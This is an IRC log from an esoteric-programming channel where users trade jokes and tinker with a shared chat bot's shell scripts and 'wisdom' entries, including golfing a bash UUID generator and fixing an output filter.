MDude has quit (Ping timeout: 264 seconds). 23:17:23 -!- MDead has changed nick to MDude. 23:19:51 <\oren\> supposedly the vpn will be more reliable if i upgrade to el captain 23:23:33 <\oren\> well whatever worse to worse ill just use time machine 23:24:22 <\oren\> stupid unreliable proprietary os 23:29:57 -!- `^_^ has quit (Quit: This computer has gone to sleep). 23:30:15 -!- MDude has quit (Ping timeout: 276 seconds). 23:33:06 [wiki] [[Language list]] M https://esolangs.org/w/index.php?diff=47227&oldid=47202 * KelsonBall * (+25) /* Added symbolic brainfuck */ 23:34:04 -!- I has joined. 23:34:28 -!- I has changed nick to Guest77224. 23:46:58 -!- Guest77224 has quit (Quit: This computer has gone to sleep). 23:49:35 -!- nycs has joined. 23:51:55 -!- asie has joined. 23:54:51 -!- nycs has quit (Quit: This computer has gone to sleep). 23:57:05 -!- MoALTz has quit (Quit: Leaving). 2016-06-17: 00:04:03 -!- idris-bot has quit (Ping timeout: 264 seconds). 00:04:46 -!- Melvar has quit (Ping timeout: 272 seconds). 00:51:21 -!- spiette has quit (Quit: :qa!). 01:06:21 https://blog.codinghorror.com/content/images/uploads/2006/11/6a0120a85dcdae970b0128776fec64970c-pi.png 01:27:44 isnt that normal? 01:28:28 I mean, there is a fundamental difference between cmdline UI and interactive UI 01:28:53 converting from one to another is bound to be doomed 01:29:50 nah, this was just poorly done 01:31:32 -!- Melvar has joined. 01:34:35 -!- xkapastel has joined. 01:41:13 -!- bender has joined. 01:45:39 -!- moon_ has changed nick to God. 01:48:36 -!- Kaynato has quit (Ping timeout: 246 seconds). 02:01:35 -!- oerjan has joined. 02:13:04 -!- Kaynato has joined. 02:17:51 -!- Kaynato has quit (Ping timeout: 240 seconds). 02:20:46 -!- bender has quit (Quit: Leaving). 02:20:58 -!- Koen_ has quit. 02:36:07 -!- Phantom_Hoover has quit (Read error: Connection reset by peer). 02:38:28 -!- zzo38 has joined. 02:39:06 -!- boily has joined. 02:39:08 NINJA QUINTHELLOPIAAAAAAAAAAAAAAAAAA! 02:39:12 -!- boily has quit (Client Quit). 02:39:33 wat. 02:39:49 Hello, do you know what email header is X-Yahoo-Newman-Property X-YMail-OSG meaning? 02:39:57 no. 02:45:13 -!- Froox has joined. 02:47:11 -!- God has changed nick to moon_. 02:48:20 -!- Frooxius has quit (Ping timeout: 244 seconds). 02:49:46 -!- hppavilion[1] has joined. 02:54:03 -!- hppavilion[2] has joined. 02:56:31 -!- hppavilion[1] has quit (Ping timeout: 240 seconds). 03:03:27 -!- MDude has joined. 03:07:13 -!- moon_ has changed nick to GOD. 03:09:16 `` ls -l wisdom/password 03:09:23 `? password 03:09:53 The password of the month is kOMMlIEBERmAIuNDmACHE 03:09:53 ​-rw-r--r-- 1 5000000 0 51 May 2 01:20 wisdom/password 03:10:22 -!- spockers has quit (Quit: bye http://i.imgur.com/nkzOWAv.jpg). 03:11:09 `learn The password of the month is viskalikkjesovabortsumarnatta 03:11:13 Relearned 'password': The password of the month is viskalikkjesovabortsumarnatta 03:12:39 `learn The password of the month is vïskAlikkjesOvab0rtsUmarnatta 03:12:44 Relearned 'password': The password of the month is vïskAlikkjesOvab0rtsUmarnatta 03:12:59 Why does the password of the month capitalize some letters and replace others with digits? 03:13:20 because of stupid password filters hth 03:14:22 Why not just always put the same digit and uppercase letter and symbol at the end of every password? 03:15:08 because that ruins the scansion hth 03:15:33 Why not just always put "hth" at the end of every password? 03:15:55 still ruins the scansion tdnh 03:32:11 -!- hppavilion[2] has quit (Ping timeout: 240 seconds). 03:35:17 `wiser 03:35:21 ​? ¯\(°​_o)/¯ 03:39:21 -!- MDude has changed nick to MDream. 03:43:00 -!- Sprocklem has quit (Ping timeout: 250 seconds). 03:45:01 -!- Sprocklem has joined. 03:59:28 -!- GOD has quit (Ping timeout: 244 seconds). 04:48:31 -!- HackEgo has quit (Ping timeout: 240 seconds). 04:56:25 eep 05:08:01 -!- moon_ has joined. 05:37:19 -!- HackEgo has joined. 05:38:36 `` cat /proc/sys/kernel/random/uuid 05:38:57 480374de-d9c2-4f29-b377-463d2fc51552 05:39:28 `` for i in {1..100}; do [[ $(< /proc/sys/kernel/random/uuid) = ????????-????-4???-[89ab]???-???????????? ]] || echo x; done 05:39:32 No output. 05:39:39 DID YOU KNOW THIS??? 05:40:03 know what? 05:40:12 that some bits are fixed 05:40:57 NO 05:41:14 shocking isn't it 05:41:52 i would not use that word... 05:42:01 astonishing 05:42:02 amazing 05:42:06 unbelievable 05:42:10 * oerjan whistles innocently 05:42:11 incredible 05:42:17 inconceivable? 05:42:21 yeah 05:43:57 I knew this. 05:45:31 https://en.wikipedia.org/wiki/Universally_unique_identifier#Version_4_.28random.29 05:47:05 The best part is when someone generates a UUID that uses their MAC address and thereby leaks information about certain iDs being associated with each other. 05:48:34 What I do is to use the MAC address of a device I own that I do not connect to the internet. 05:50:47 zzo38: Why not just generate a truly random UUID? 05:52:01 Moo 06:04:37 There is a possibility of collision, which is reduced if the MAC address is used 06:07:59 But collision is unlikely. 06:08:07 There are 122 bits in a random UUID. 06:09:46 I wish people used something more compact than hexadecimal for long random bitstrings. 06:13:45 `` printf %s%s-%s-4%.3s_%s-%s%s%s\\n $(od -N16 -xAn /dev/urandom) | sed 's/_[0123]/-8/;t;s/_[4567]/-9/;t;s/_[89ab]/-a/;t;s/_[cdef]/-b/' 06:13:54 aa5f7646-300d-4643-b420-6686a873f057 06:13:57 golf this 06:14:44 i golf what i want 06:14:50 you want to golf this 06:15:09 izabera: well, obviously, 0123 -> 0-3 etc 06:15:17 oh <.< 06:15:22 * izabera dumb 06:15:37 `` printf %s%s-%s-4%.3s_%s-%s%s%s\\n $(od -N16 -xAn /dev/urandom) | sed 's/_[0-3]/-8/;t;s/_[4-7]/-9/;t;s/_[89ab]/-a/;t;s/_[c-f]/-b/' 06:15:44 74aa2623-2c08-4ff8-b9b3-6673191faa91 06:15:46 I am quite happy to say that a 1/(2^122-1) chance collision is not one that concerns me. 06:16:35 pikhq: See, that's why we put zzo38 in charge when security is important. 06:16:36 izabera: [8-b] probably works too 06:16:46 indeed 06:16:49 mmh i guess so 06:16:58 locale dependent, though it would be technically same for digits as well 06:17:05 no 06:17:13 digits are always consecutive 06:17:46 izabera: yes, that's guaranteed by C 06:17:50 yeah 06:18:06 but I meant that the relative ordering of digits and letters is unspecified 06:18:24 And things in the basic charset are locale-invariant on any given implementation as well. 06:18:33 pikhq: EBCDIC? 06:18:42 lifthrasiir: "On any given implementation". 06:18:56 An EBCDIC C system cannot have an ASCII locale. 06:19:19 But likewise, an ASCII C system cannot have an EBCDIC locale. 06:20:02 it's fine to be unportable as long as it works on HackEgo :P 06:21:58 izabera: the final s/_[c-f]/-b/ can be s/_./-b/ 06:22:06 right 06:22:22 that's some serious progress 06:27:14 -!- moon_ has quit (Ping timeout: 250 seconds). 06:27:41 hmm it is hard to leverage tr 06:40:34 -!- hppavilion[1] has joined. 06:49:27 I just read the word "Ferret" as if it was french 06:50:35 -!- tromp_ has quit (Remote host closed the connection). 06:50:55 -!- tromp_ has joined. 06:53:31 -!- augur has quit (Remote host closed the connection). 06:59:30 hppavilion[1]: ferreous? 06:59:55 lifthrasiir: I read it as "fairey" 07:02:00 Aphasia: "This class of language disorder ranges from having difficulty remembering words to being completely unable to speak, read, or write." 07:02:07 That's pretty broad 07:16:05 very amortized 07:16:27 amoerjan 07:19:35 I just read about the Mars Climate Orbiter 07:19:40 What the hell, Lockheed Martin? 07:19:54 Why are you hiring scientific programmers who use /pound seconds/!? 07:20:28 That's right. American programmers ought to use dollar-seconds. 07:20:46 And given that it's Lockheed Martin, they ought to use quite a few of them. 07:20:49 The page on Lockheed Martin Space Systems doesn't even mention it 07:21:04 Or mill-milliseconds, so you can avoid floats or fixed-point arithmetic. :D 07:21:37 furlong-fortnights? 07:22:06 I would've used gram-saecula personally 07:22:21 Though it would require constant access to all birth and death certificates 07:43:44 -!- astslash has joined. 07:53:56 -!- MoALTz has joined. 08:10:15 -!- lambda-11235 has joined. 08:11:28 Sovereign Citizens: Because stupid people are funny 08:12:12 `? hagb4rd 08:15:36 hagb4rd is one spacey fellow. Spaaaaaaaaaaaaaaaaaaaaaace. 08:15:37 -!- AnotherTest has joined. 08:16:55 `culprits hagb4rd 08:17:51 No output. 08:21:01 -!- hppavilion[2] has joined. 08:21:11 -!- hppavilion[1] has quit (Ping timeout: 250 seconds). 08:31:55 -!- Destructible has joined. 08:32:08 hoi 08:33:53 hello? 08:35:31 ;-; 08:36:13 -!- Destructible has quit (Client Quit). 08:48:17 Cracked has an article called "The 23 Most Disastrous Fictional Sexual Encounters Possible" 08:48:28 The cover is Lady from Lady and the Tramp and Clifford the Big Red Dog 08:50:44 `unidecode - 08:50:53 ​[U+002D HYPHEN-MINUS] 08:53:53 Gah! Why did I open cracked! 09:00:24 hint: all list sites are crap. 09:02:28 well, all 5-20-items clickbait lists, anyway. 09:03:03 -!- spockers has joined. 09:03:35 `unidecode   09:03:37 ​[U+1680 OGHAM SPACE MARK] 09:05:54 -!- xkapastel has quit (Quit: Connection closed for inactivity). 09:19:38 `length   09:19:47 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: length: not found 09:20:02 `len 09:20:07 0 codepoints 09:20:14 `len   09:20:18 1 codepoint \ 3 UTF-8 bytes 09:23:58 -!- ineiros has quit (Remote host closed the connection). 09:24:05 -!- ineiros has joined. 09:24:40 -!- J_Arcane has quit (Quit: ChatZilla 0.9.92-rdmsoft [XULRunner 35.0.1/20150122214805]). 09:27:27 oh come on! just link her up with Faye already! they've both had their apartments burned down, and I think they'd be a good match. and since Brun is a barkeep, she could even work in the Coffee of Doom. 09:29:53 ??? 09:30:43 Taneb: Haneb 09:30:46 `? tanebvention 09:30:50 Tanebventions include automatic squirrel feeders, necessity, Go, submarine jousting, the universe, weetoflakes, persistence, the BBC, progress, and this sentence. See also tanebventions (math). He never invents anything involving sex. 09:30:51 `? tanebventions (math) 09:30:54 Mathematical tanebventions include D-modules, Chu spaces, the torus, Stephen Wolfram, the reals, Lambek's lemma, pointless topology, and histograms. 09:31:02 Shouldn't that be "Tanebventions (maths)"? 09:31:45 It might be better if it was e.g. "tanebventions: math", so pluralization would work automatically. 09:33:03 `block device 09:33:06 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: block: not found 09:33:10 -!- MDream has quit (Read error: Connection reset by peer). 09:33:20 `? block device 09:33:21 block device? ¯\(°​_o)/¯ 09:33:29 -!- MDream has joined. 09:36:12 -!- prooftechnique_ has joined. 09:36:14 `slashlearn block device/Block devices are a concession made in Unix to make raw hard disks and magnetic tape have a similar interface to regular files and terminals. Since magnetic tapes can't write individual bytes, only entire blocks, the interface isn't exactly the same, thus the dreaded dd obs= option was born. 09:36:40 Learned «block device» 09:37:26 -!- tswett has quit (Quit: No Ping reply in 180 seconds.). 09:37:31 I was going to `le/rn block device/A block device is a device such that I/O operations to it can block. 09:39:44 -!- Warrigal has joined. 09:40:22 -!- lambda-11235 has quit (Max SendQ exceeded). 09:40:45 shachaf: hehe, sorry 09:40:52 -!- jix_ has joined. 09:41:39 Well, you were first. 09:41:52 But I don't think your entry is very wisdomy. 09:42:07 On the other hand you've been adding so many entries like it that the standard for wisdomy is shifting. 09:42:15 hmm 09:42:19 -!- lambda-11235 has joined. 09:42:48 -!- Melvar` has joined. 09:43:05 -!- prooftechnique has quit (Ping timeout: 252 seconds). 09:43:06 -!- Melvar has quit (Ping timeout: 252 seconds). 09:43:07 -!- jix has quit (Ping timeout: 252 seconds). 09:44:39 -!- lambda-11235 has quit (Client Quit). 09:45:38 -!- incomprehensibly has quit (Ping timeout: 258 seconds). 09:47:39 -!- incomprehensibly has joined. 09:50:08 of _course_ she got away with the lantern. :( wondering if aldin and larana are planning a detour. 09:52:02 `` mv wisdom/tanebvention{" (math)",": math"} 09:52:09 mv: cannot stat `wisdom/tanebvention (math)': No such file or directory 09:52:14 oops 09:52:20 `` mv wisdom/tanebvention{"s (math)",": math"} 09:52:24 No output. 09:52:36 er wait 09:52:39 *sigh* 09:52:58 `` mv wisdom/tanebvention{,s}": math" 09:53:03 No output. 09:53:37 `sled wisdom/tanebvention//s/ [(]math[)/: math/ 09:53:40 sed: -e expression #1, char 20: unterminated `s' command 09:53:48 `sled wisdom/tanebvention//s/ [(]math[)]/: math/ 09:53:51 wisdom/tanebvention//Tanebventions include automatic squirrel feeders, necessity, Go, submarine jousting, the universe, weetoflakes, persistence, the BBC, progress, and this sentence. See also tanebventions: math. He never invents anything involving sex. 09:54:09 `? tanebventions: math 09:54:10 Mathematical tanebventions include D-modules, Chu spaces, the torus, Stephen Wolfram, the reals, Lambek's lemma, pointless topology, and histograms. 09:54:24 oerjan: the universe should count as mathematical 09:54:44 lol 09:54:49 Stephen Wolfram 09:54:52 b_jonas: it's disputed hth 09:55:00 hmm 09:55:02 ok 09:55:15 `? Stephen Wolfram 09:55:17 Stephen Wolfram is an esolanger with too much money and power. Taneb invented him. 09:55:31 `? D-modules 09:55:33 D-modules are just modules over the ring of differential operators. Taneb invented them. 09:55:40 `? the reals 09:55:42 The reals are an overt complete ordered Brazilian currency invented by Taneb in 1994. 09:56:07 i've forgotten what the overt was for 09:57:12 `wisdom 09:57:14 quebec//Attache ta tuque with the spindle; there is around here fret! 09:57:34 `wisdom 09:57:36 latin//LATINA EST SUBLIMISSIMA LINGUA MUNDI 09:57:46 fungot, quebec//Attache ta tuque with the spindle; there is around here fret! 09:57:46 b_jonas: so should it be something like that, does anyone want anything from lieksa? will be attending in the spring 09:57:58 i guess b_jonas hasn't shifted it _that_ much yet. 09:58:19 `wisdom 09:58:21 iyam//IYAM is like IANAL, except yam instead of anal. 09:58:29 wat. 09:58:40 `hoag wisdom/iyam 09:58:57 learn IYAM is like IANAL, except yam instead of anal. 09:59:32 iyam, what iyam. 09:59:53 `wisdom 10:00:39 * oerjan wonders if HackEgo gets clogged when used too much 10:00:56 oerjan: i think everything in this channel gets clogged hth 10:00:58 'The Internet gets a bad rap for being the refuge of the socially maladjusted and sexually deviant (wait, can something still be considered a "bad rap" if it's true?).' 10:01:12 i knew you were going to say that. 10:01:20 Cale: Do you know any good Tanebventions? Feel free to add them to the list. 10:01:32 No output. 10:01:38 oerjan: so did i hth 10:01:40 `wisdom 10:01:43 ​?//? is wisdom 10:01:44 It's self-serve. 10:01:47 shachaf: fancy 10:01:54 `wisdom 10:01:57 yeeeeeeeeeeeeeeeesh//See yeeeeeeeeeeeeeeesh. 10:02:06 `? tanebvention 10:02:08 Tanebventions include automatic squirrel feeders, necessity, Go, submarine jousting, the universe, weetoflakes, persistence, the BBC, progress, and this sentence. See also tanebventions: math. He never invents anything involving sex. 10:02:18 `? taneb 10:02:20 Taneb is not elliott, no matter who you ask. He also isn't a rabbi although he has pretended in the past. He has at least two backup keyboards with dodgy SHIFT KEys, cube root of eight genders, and voluminous but calm eyebrows. (See also: tanebventions) 10:02:48 `sled wisdom/tanebvention//s/G/self-serve frozen yogurt, G/ 10:02:59 shachaf: ok 5 wisdoms and none were excessively b_jonased. 10:03:08 oerjan: that's just luck 10:03:30 They weren't in a row so it didn't count. 10:03:32 `wisdom 10:03:32 `wisdom 10:03:32 `wisdom 10:03:33 `wisdom 10:03:35 b_jonas: yes. we'll get you some time. 10:03:35 `wisdom 10:03:48 shachaf: huh? they were intended to be in a row. 10:04:08 also, if that doesn't count then it doesn't count if any of yours time out >:P 10:04:30 (just as a lesson to people who throw up 5 commands at once) 10:04:39 5 commands at once used to be the gold standard. 10:05:08 shachaf: hm we need fizzie to do statistics. 10:05:26 Presumably anyone can do statistics. 10:05:39 You just need the repository, right? 10:05:47 O KAY 10:05:48 Or did you want log statistics? 10:05:57 logs, i guess. 10:06:07 it's not like `quote shows up in the repository 10:06:11 No output. 10:06:37 No output. 10:06:38 grue//grue is the colour of the trees and the ocean 10:06:39 oren//oren is a Canadian esolanger who would like to obliterate time zones so that he can talk to his father who lives in the same house. He'll orobablu get the hang of toycj tuping soon. He also has a rabid hatred of the two-storey lowercase a. 10:06:39 forty//forty means "in a fort-like manner" 10:07:02 i don't think any of those are excessively b_jonased either. 10:07:56 `cat bin/wisdom 10:07:58 F="$(find wisdom -name "*$(echo "$1" | lowercase)*" -type f | shuf -n1)"; echo -n "${F#wisdom/}//" | rnooodl; cat "$F" | rnooodl 10:08:11 I kind of want to make a wisdom entry with a newline in its name. 10:08:41 i guess you need some of those -0 options, then. 10:09:39 oerjan: but those are only three, not five 10:10:16 `` while true; do F="$(find wisdom -type f | shuf -n1)"; C="$(culprits "$F")"; [[ $C == *b_jonas* ]] || continue; (echo -n "${F#wisdom/}//"; cat "$F") | rnooodl; break; done 10:10:37 -!- Froo has joined. 10:10:39 -!- Froox has quit (Read error: Connection reset by peer). 10:10:49 No output. 10:11:51 `sled bin/wisdom//s/type f/type f -print0/;s/shuf/shuf -z/ 10:12:17 sheesh 10:12:25 Won't that leave the zero in the shuf output? 10:12:45 i don't know 10:12:53 Apparently yes. 10:13:11 Hmm, that'll have a funny failure mode. 10:13:18 bin/wisdom//F="$(find wisdom -name "*$(echo "$1" | lowercase)*" -type f -print0 | shuf -z -n1)"; echo -n "${F#wisdom/}//" | rnooodl; cat "$F" | rnooodl 10:13:19 It just won't show the //? 10:14:52 `wisdom 10:14:54 shavention//shaventions include: before/lastfiles, culprits, hog/hogue, le//rn, mk/mkx, sled/sedlast, spore/spam/speek/sport/1. Taneb invented them. 10:15:06 well that worked. 10:15:18 suspicious 10:15:20 -!- PinealGlandOptic has joined. 10:15:24 `wisdom 10:15:29 terminal symbol//A terminal symbol is a terminal condition that makes your parser die eventually. Consult your linguist for medical advice. 10:16:00 `` echo -ne 'a\0b\0' | shuf -z -n1 | xxd 10:16:05 00000000000: 6200 b. 10:16:08 oerjan: try six consecutive ones such that they actually output a wisdom, not "No output." 10:16:31 `run F="$(echo -ne 'a\0b\0' | shuf -z -n1 | xxd)"; echo -n "${F}x" | xxd 10:16:33 0000000: 3030 3030 3030 303a 2036 3230 3020 2020 0000000: 6200 \ 0000010: 2020 2020 2020 2020 2020 2020 2020 2020 \ 0000020: 2020 2020 2020 2020 2020 2020 2020 2020 \ 0000030: 2020 622e 78 b.x 10:16:33 Er. 10:16:37 `run F="$(echo -ne 'a\0b\0' | shuf -z -n1)"; echo -n "${F}x" | xxd 10:16:38 0000000: 6278 bx 10:16:47 I see. 10:17:02 A bash variable can't contain a \0? Or maybe it can but it's removed at expansion. 10:18:30 so it accidentally gets fixed 10:18:52 `` bash bin/wisdom 10:18:54 vi//vi is in a relationship with emacs. 10:19:40 Oh. 10:19:53 My loop didn't work because culprits depingifies nicks. 10:20:48 wait, you're changing bin/wisdom ? 10:20:52 be VERY careful with that 10:21:00 it's an important command 10:21:18 b_jonas: it should be backwards compatible hth 10:21:29 `? is the important command. 10:21:53 as in, there are no wisdoms yet that show the difference afaik 10:22:18 And now that you've fixed the command, there might never be. 10:22:26 oerjan: sure, but be careful not to introduce a bug 10:22:47 i tested it afterwards didn't i hth 10:23:22 in fact you can say i _removed_ a bug for filenames with newlines in them. 10:23:30 you introduced a negative bug 10:23:40 you were supposed to leave the bug count unchanged hth 10:23:43 `wisdom 10:23:44 darn 10:23:50 snap//Snap is a simple web development framework for unix systems, written in the Haskell programming language. Snap has a high level of test coverage and is well-documented. 10:23:51 `wisdom 10:23:53 ​øl//Øl, øl og mere øl. 10:23:54 `wisdom 10:23:55 category//A category is an enriched category where the enriching category is the category of classes. 10:23:56 `wisdom 10:23:57 4chan//4chan is twice as loud as stereo. 10:23:59 `wisdom 10:24:01 war//A lot more young people have gone off to fight in this war than I would have, at that age. 10:24:05 oh that first one is b_jonased. 10:24:15 what? 10:24:17 No, it's Caled. 10:24:18 I didn't do that one 10:24:21 `culprits wisdom/snap 10:24:24 shachaf: same thing 10:24:25 Cale 10:24:45 wat 10:26:04 `` i=0; find wisdom -type f | shuf | while read F; do i=$((i+1)); if hoag "$F" | grep -q b_jonas; then (echo -n "$i:${F#wisdom/}//"; cat "$F") | rnooodl; break; fi; done 10:26:19 5:rhenium//Rhenium is a precious metal. It can be found nowhere in Earth because the Enemy has used up all of it for forging the One Ring. 10:26:31 5 attempts to find a b_jonas wisdom 10:26:34 `` i=0; find wisdom -type f | shuf | while read F; do i=$((i+1)); if hoag "$F" | grep -q b_jonas; then (echo -n "$i:${F#wisdom/}//"; cat "$F") | rnooodl; break; fi; done 10:26:48 6:post-industrial semi-punk nekronoise ambient happy hardcore triphop shoegaze//Post-industrial semi-punk nekronoise ambient happy hardcore triphop shoegaze is the genre of the Autobahn album "Nagelbett" according to http://thedailywtf.com/articles/Yo-Ho%2c-Yo-Ho%2c-A-Pirates-Life-for-Lee . 10:27:02 `mkx tmp/tmp_jonas//i=0; find wisdom -type f | shuf | while read F; do i=$((i+1)); if hoag "$F" | grep -q b_jonas; then echo -n "$i:${F#wisdom/}//"; cat "$F"; break; fi; done | rnooodl 10:27:03 tmp/tmp_jonas 10:27:08 `tmp_jonas 10:27:09 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: tmp_jonas: not found 10:27:15 `tmp/tmp_jonas 10:27:23 2:taiwan//Taiwan is a country of which the United Nations denies the existence, just like Macedonia is. 10:27:27 `tmp/tmp_jonas 10:27:31 2:we//We are the champions. 10:27:53 `tmp/tmp_jonas 10:28:19 9:virgil//Virgil is a prayer at dawn, as well as an ancient Italian poet who led Dante to hell so they can ask the blind transgendered seer Anchises stupid politics questions concerning contemporary noble families. 10:28:26 `tmp/tmp_jonas 10:28:49 i still think he mistyped Vigil 10:28:59 No output. 10:29:33 i suppose most of b_jonas's wisdoms aren't excessively b_jonased either 10:29:36 `tmp/tmp_jonas 10:29:55 It would be nice if you could handle timeout by printing some debugging information. 10:30:04 14:at//At is a daemon for procrastinating commands. 10:30:20 Maybe I'll make a timeout wrapper that times out after 29 seconds and prints something if a timeout happens. 10:30:23 you can append ; echo Nope hth 10:30:27 Or sends a signal! 10:30:33 oerjan: Sure, but in this case I want to print the value of i. 10:30:39 `tmp/tmp_jonas 10:30:43 1:ioccclist//iocccclist is update notification for when a new year of the International Obfuscated Contest is announced, or the winners for a year is announced, or the source codes of winners are released. http://www.ioccccccc.org/#news 10:36:46 what's with the cs... 10:36:50 `cat bin/rnoodle 10:36:51 cat: bin/rnoodle: No such file or directory 10:36:59 `cat bin/rnooodl 10:37:00 perl -pe 's/([^wW\W])\1\1/"@{[$1 x(3+rand 7)]}"/ge' 10:37:09 meh 10:37:24 shachaf: would that work? the timeout is because the virtual file system is inaccessible, in which case your wrapper won't work either 10:37:36 Is it? 10:37:53 In that case I don't know. 10:37:53 int-e: I think the multiple c wasn't me 10:38:01 `? iocccclist 10:38:03 iocccclist? ¯\(°​_o)/¯ 10:38:07 `? ioccclist 10:38:08 ioccccccclist is update notification for when a new year of the International Obfuscated Contest is announced, or the winners for a year is announced, or the source codes of winners are released. http://www.iocccc.org/#news 10:38:12 `` sed -i s/Con/C Code Con/ wisdom/ioccclist 10:38:14 sed: -e expression #1, char 7: unterminated `s' command 10:38:23 `` sed -i 's/Con/C Code Con/' wisdom/ioccclist 10:38:27 No output. 10:38:30 oh! that reminds me 10:38:40 `? =@cc 10:38:41 ​=@cc? ¯\(°​_o)/¯ 10:38:48 "To Kill a Mockingjay" 10:38:52 Have fun with your ruined childhood 10:38:59 I have to add this one, and this one will be b_jonased 10:38:59 b_jonas: the rnooodl output filter does it 10:39:16 int-e: I see 10:40:00 and I'm slightly annoyed that it breaks the link. 10:40:24 `? =@ccc 10:40:26 ​=@ccc? ¯\(°​_o)/¯ 10:40:39 `` echo СССР 10:40:40 (with probebility 0.857142...) 10:40:41 ​СССР 10:40:42 `` echo СССР 10:40:43 ​СССР 10:40:51 What a shame. 10:40:54 `` echo CCCP 10:40:55 CCCCCP 10:41:01 what 10:41:02 I guess I can do that. 10:41:15 at what layer is that filter? and WHY? 10:41:17 that's annoying 10:41:54 The filter is everywhere. 10:42:06 You can bloerjan for that one. 10:42:12 shachaf: you are a bad person 10:42:41 int-e: What? I wanted to see if it was bytes or code points. 10:42:42 Fri, 18 Mar 2016 04:10:07 +0000 ` sed -i \'4s/$/ | rnooodl/\' \'bin/`\' 10:42:51 Oh, that. 10:43:08 `slashlearn =@ccc/=@ccc is a great innovation in gcc 6, kept top secret, where inline asm statements can return a value in the carry flag on x86_64. See https://gcc.gnu.org/gcc-6/changes.html which keeps this secret, https://gcc.gnu.org/onlinedocs/gcc-6.1.0/gcc/Extended-Asm.html which documents it, and http://article.gmane.org/gmane.linux.kernel/2238065 which uses it. 10:43:10 Learned «=@ccc» 10:43:15 `? =@ccc 10:43:17 ​=@ccc is a great innovation in gcc 6, kept top secret, where inline asm statements can return a value in the carry flag on x86_64. See https://gcc.gnu.org/gcc-6/changes.html which keeps this secret, https://gcc.gnu.org/onlinedocs/gcc-6.1.0/gcc/Extended-Asm.html which documents it, and http://article.gmane.org/gmane.linux.kernel/2238065 which use 10:43:18 is that too long? 10:43:40 `slashlearn =@ccc/=@ccc is a great innovation in gcc 6, kept top secret, where inline asm statements can return a value in the carry flag on x86_64. See https://gcc.gnu.org/gcc-6/changes.html which keeps this secret, https://gcc.gnu.org/onlinedocs/gcc-6.1.0/gcc/Extended-Asm.html , http://article.gmane.org/gmane.linux.kernel/2238065 . 10:43:43 Relearned «=@ccc» 10:43:46 `? =@ccc 10:43:49 ​=@ccccccc is a great innovation in gcc 6, kept top secret, where inline asm statements can return a value in the carry flag on x86_64. See https://gcc.gnu.org/gcc-6/changes.html which keeps this secret, https://gcc.gnu.org/onlinedocs/gcc-6.1.0/gcc/Extended-Asm.html , http://article.gmane.org/gmane.linux.kernel/2238065 . 10:43:59 NO! it's exactly three c 10:44:08 they stand for condition, code, carry respectively 10:44:11 damn 10:44:14 that filter is VERY annoying 10:44:15 seriously 10:44:18 turn it off 10:44:24 Ask oerjan about that. 10:44:40 I like the filter, especially when it comes as a surprise. 10:44:44 oerjan: turn that filter off! 10:44:54 shachaf: put it to some lower level, like at `wisdom only or something 10:45:00 um, higher level 10:45:02 `cat bin/wisdom 10:45:03 F="$(find wisdom -name "*$(echo "$1" | lowercase)*" -type f -print0 | shuf -z -n1)"; echo -n "${F#wisdom/}//" | rnooodl; cat "$F" | rnooodl 10:45:37 * oerjan sues shachaf for libel 10:45:54 oh well 10:46:00 `cat bin/rnooodl 10:46:01 oerjan: You're the one who replaced the noooodl filter with the (.)\1\1 filter. 10:46:04 perl -pe 's/([^wW\W])\1\1/"@{[$1 x(3+rand 7)]}"/ge' 10:46:08 -!- atslash has joined. 10:48:19 `` hg cat -r bin/rnooodl 10:48:23 hg cat: invalid arguments \ hg cat [OPTION]... FILE... \ \ output the current or given revision of files \ \ options: \ \ -o --output FORMAT print output to file with formatted name \ -r --rev REV print the given revision \ --decode apply any matching decode filter \ -I --include PATTERN [+] include names ma 10:48:31 `` rm -r bin/SAVEDAT 10:48:33 No output. 10:48:40 `` hg cat -r 5060d5af0b98 bin/rnooodl 10:48:46 perl -pe 's/([Nn])oooodl/"$1@{[o x(3+rand 7)]}dl"/ge' 10:48:56 `` hg cat -r 5060d5af0b98 bin/rnooodl >bin/rnooodl 10:49:05 No output. 10:49:16 oerjan: :'( 10:49:19 `? ioccc 10:49:21 The IOCCC is the Industrial Ordovician COBOL Conference Circuit. Not to be confused with OIC. See also ioccclist. 10:49:26 `? ioccclist 10:49:27 ioccclist is update notification for when a new year of the International Obfuscated C Code Contest is announced, or the winners for a year is announced, or the source codes of winners are released. http://www.ioccc.org/#news 10:49:30 -!- astslash has quit (Ping timeout: 276 seconds). 10:50:05 shachaf: YOU SHOULD HAVE THOUGHT OF THAT BEFORE BLAMING ME hth 10:50:17 oerjan: TDNH 10:50:33 `? OIC 10:50:35 OIC, OIC means Oh I see. 10:50:42 ... okay 10:51:21 ` 10:51:22 Stop taking everything literally! 10:51:34 `? oiccc 10:51:35 oiccc? ¯\(°​_o)/¯ 10:52:14 The OIC code contest must be a contest for especially clear code. 10:54:14 obviously incorrect code 10:56:13 It's especially clear that it's incorrect 10:57:00 IICCC 10:57:05 `culprits bin/SAVEDAT 10:57:11 int-e moon_ 10:57:37 -!- hppavilion[2] has quit (Ping timeout: 250 seconds). 10:57:54 `hoag bin/SAVEDAT 10:57:57 ` rm -r bin/SAVEDAT \ mk bin/SAVEDAT/combineSAVE// 10:58:48 OKAY 11:00:25 I,I CCC 11:00:33 `? lies 11:00:36 Lies are even easier than monoids. They form groups, known as Lie groups. 11:01:03 shachaf: "The OIC code contest must be a contest for especially clear code." => we have one of those: http://www.underhanded-c.org/ 11:05:08 `./!\.´ 11:05:09 emergency signal toggled 11:06:09 -!- ski has quit (Quit: Lost terminal). 11:16:09 -!- boily has joined. 11:17:45 -!- Froo has quit (Quit: *bubbles away*). 11:18:06 -!- Frooxius has joined. 11:18:45 `wisdom 11:19:34 No output. 11:20:15 helloily 11:20:39 hellørjan 11:22:37 -!- Koen_ has joined. 11:22:45 argh, people filing bug reports without context 11:24:49 b_jonas: it doesn't work! 11:25:04 -!- oerjan has quit (Quit: Later). 11:53:29 -!- Alcest has joined. 11:56:54 -!- atslash has quit (Quit: This computer has gone to sleep). 11:57:25 -!- Phantom_Hoover has joined. 12:08:10 -!- boily has quit (Quit: WATERED CHICKEN). 12:14:23 -!- disMyHooman has joined. 12:15:18 i can chat? 12:15:25 -!- disMyHooman has changed nick to sssSSS. 12:15:55 -!- bender has joined. 12:27:38 -!- sssSSS has quit (Quit: Leaving). 12:51:47 -!- Koen__ has joined. 12:54:37 -!- Koen_ has quit (Ping timeout: 258 seconds). 12:58:21 -!- astslash has joined. 13:01:32 -!- PinealGlandOptic has quit 